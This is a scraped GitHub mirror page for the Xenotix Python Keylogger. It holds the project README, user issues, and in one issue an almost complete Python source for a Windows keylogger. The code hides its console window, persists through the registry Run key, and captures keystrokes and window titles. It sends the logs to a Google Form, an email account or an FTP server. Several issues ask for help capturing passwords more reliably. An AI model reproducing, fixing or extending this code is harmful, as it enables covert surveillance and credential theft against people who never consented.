Git Product home page Git Product logo

xenotix-python-keylogger's Introduction

Xenotix Python Keylogger for Windows

IMPORTANT: PROJECT DEVELOPMENT AND SUPPORT IS DISCONTINUED

  • usage:
    • xenotix_python_logger.py mode [optional]
  • mode:
    • local: store the logs in a file [keylogs.txt]
    • remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
    • email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO)
    • ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY)
  • optional
    • startup: This will add the keylogger to windows startup.

Made with Love in India

xenotix-python-keylogger's People

Contributors

ajinabraham avatar kashsingh avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

xenotix-python-keylogger's Issues

I have a fix in startup code and I add the get window function

hi

I really loved this keylogger so I edit it
I have a fix in startup code and I add the get window function

'''

Xenotix Python Keylogger for Windows

Coded By: Ajin Abraham [email protected]
Website: http://opensecurity.in/xenotix-python-keylogger-for-windows/
GitHub: https://github.com/ajinabraham/Xenotix-Python-Keylogger

FEATURES

1.STORE LOGS LOCALLY
2.SEND LOGS TO GOOGLE FORMS
3.SEND LOGS TO EMAIL
4.SEND LOGS TO FTP

MINIMUM REQUIREMENTS

Python 2.7: http://www.python.org/getit/
pyHook Module: http://sourceforge.net/projects/pyhook/
pyrhoncom Module: http://sourceforge.net/projects/pywin32/

pyHook Module -
Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/

NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
'''
try:
import pythoncom, pyHook
except:
print "Please Install pythoncom and pyHook modules"
exit(0)
import os
import sys
import threading
import urllib,urllib2
import smtplib
import ftplib
import datetime,time
import win32event, win32api, winerror
import win32gui
import time
from _winreg import *

Disallowing Multiple Instance

mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
print "Multiple Instance not Allowed"
exit(0)
x=''
data=''
count=0
p = ''

Hide Console

def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True

def msg():
print """\n \nXenotix Python Keylogger for Windows
Coder: Ajin Abraham [email protected]
OPENSECURITY.IN

usage:xenotix_python_logger.py mode [optional:startup]

mode:
local: store the logs in a file [keylogs.txt]

 remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.

 email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).

 ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).

[optional] startup: This will add the keylogger to windows startup.\n\n"""
return True

Add to startup

def addStartup():
fp=os.path.dirname(os.path.realpath(file))
file_name=sys.argv[0].split("")[-1]
new_file_path=fp+""+file_name+" "+sys.argv[1] #trying to fix startup with adding the first argument to reg command but there is a problem in user permission
keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'

key2change= OpenKey(HKEY_CURRENT_USER,
keyVal,0,KEY_ALL_ACCESS)

SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)

Local Keylogger

def local():
global data
if len(data)>100:
fp=open("keylogs.txt","a")
fp.write(data)
fp.close()
data=''
return True

Remote Google Form logs post

def remote():
global data
if len(data)>100:
url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
try:
dataenc=urllib.urlencode(klog)
req=urllib2.Request(url,dataenc)
response=urllib2.urlopen(req)
data=''
except Exception as e:
print e
return True

Email Logs

class TimerClass(threading.Thread):
def init(self):
threading.Thread.init(self)
self.event = threading.Event()
def run(self):
while not self.event.is_set():
global data
if len(data)>100:
ts = datetime.datetime.now()
SERVER = "smtp.gmail.com" #Specify Server Here
PORT = 587 #Specify Port Here
USER="[email protected]"#Specify Username Here
PASS="password_here"#Specify Password Here
FROM = USER#From address is taken from username
TO = ["[email protected]"] #Specify to address.Use comma if more than one to address is needed.
SUBJECT = "Keylogger data: "+str(ts)
MESSAGE = data
message = """
From: %s
To: %s
Subject: %s

%s
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP()
server.connect(SERVER,PORT)
server.starttls()
server.login(USER,PASS)
server.sendmail(FROM, TO, message)
data=''
server.quit()
except Exception as e:
print e
self.event.wait(120)

Upload logs to FTP account

def ftp():
global data,count
if len(data)>100:
count+=1
FILENAME="logs-"+str(count)+".txt"
fp=open(FILENAME,"a")
fp.write(data)
fp.close()
data=''
try:
SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
USERNAME="ftp_username" #Specify your FTP Username
PASSWORD="ftp_password" #Specify your FTP Password
SSL=0 #Set 1 for SSL and 0 for normal connection
OUTPUT_DIR="/" #Specify output directory here
if SSL==0:
ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
elif SSL==1:
ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
ft.cwd(OUTPUT_DIR)
fp=open(FILENAME,'rb')
cmd= 'STOR' +' '+FILENAME
ft.storbinary(cmd,fp)
ft.quit()
fp.close()
os.remove(FILENAME)
except Exception as e:
print e
return True

def wtitle(): #get window title and checking if it same with previous one
global p
w = win32gui.GetWindowText (win32gui.GetForegroundWindow()) #getting window title
if p == w :
return False
else :
p = w
return True

def main():
global x
if len(sys.argv)==1:
msg()
exit(0)
else:
if len(sys.argv)>2:
if sys.argv[2]=="startup":
addStartup()
else:
msg()
exit(0)
if sys.argv[1]=="local":
x=1
hide()
elif sys.argv[1]=="remote":
x=2
hide()
elif sys.argv[1]=="email":
hide()
email=TimerClass()
email.start()
elif sys.argv[1]=="ftp":
x=4
hide()
else:
msg()
exit(0)
return True

if name == 'main':
main()

def keypressed(event):
global x,data,p

if wtitle() :  #including the window title , time , date in report <by ghost5egy>
    ltime = time.asctime( time.localtime(time.time()) )
    data=data+'\n<'+p+'>  '+ltime+'  \n'

if event.Ascii==13:
    keys='<ENTER>'
elif event.Ascii==8:
    keys='<BACK SPACE>'
elif event.Ascii==9:
    keys='<TAB>'
else:
    keys=chr(event.Ascii)
data=data+keys 
if x==1:  
    local()
elif x==2:
    remote()
elif x==4:
    ftp()

obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()

numbers are not shown

The script basically works fine i tested it with 'email' option the problem is when i type numbers:

in the keyboard we have 2 options to set numbers:

the numbers above that are including( !@#$%^&*() = 1234567890) the script thinks that the numbers are symbols and print the numbers as !@#$%^& instead of 12345678.... now i dont have problem with that
the real problem is when i type the right side of the keyboard numbers (where is the NUMLOCK button) i get an empty email for example i type

username : [email protected]
password : 123456789 (right side of the keyboard)

i get an email that prints just : username: [email protected]
without the password...

any ideas???

Dependency issues

The sourceforge link to pywin32 that you use in your script is a just a README.txt.

accents are doubled !!!

the ^ accents don't merge to the previous character and shows doubled when displaying.
it's a problem :( I cannot find where is the bug coming from.

example

tête => te^^te

PC becomes very slow when disconnected from internet in remote mode.

I have used your tool and it's a great tool. But when I gets disconnected from internet, my PC where I used this tool gets very slower (after 100 keystrokes of course!) and it becomes hard to input anything from keyboard or move pointer (I am using another PC's keyboard and mouse through lan connection ;-p ). Is there anyway to solve this so that it will continue logging keystrokes offline in the hard drive (in a txt file) and send the keys when gets online?
Or will you kindly re-write your code to solve this problem?

Thanks. :-)

Need a return true at the end of keypressed

You need to return True at the end of the function. Somehow it's not giving an error now. But if you hook other functions without returning True at the end, you'll get an exception.

Porting to py3

I am doing this as a curtesy. I am porting it to py3 and possibly creating a pyinstaller exe setup system

Not Working (Python 2.7)

I have all the dependencies installed and on running the script no error is shown on console . But my log file is still empty . Can you suggest something ?

pyHook not working

##There is no use in posting issues.
I tried pyHook, but ended up with bunch of problems. Then I Googled and got an alternative for pyHook is "pyWinhook".

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.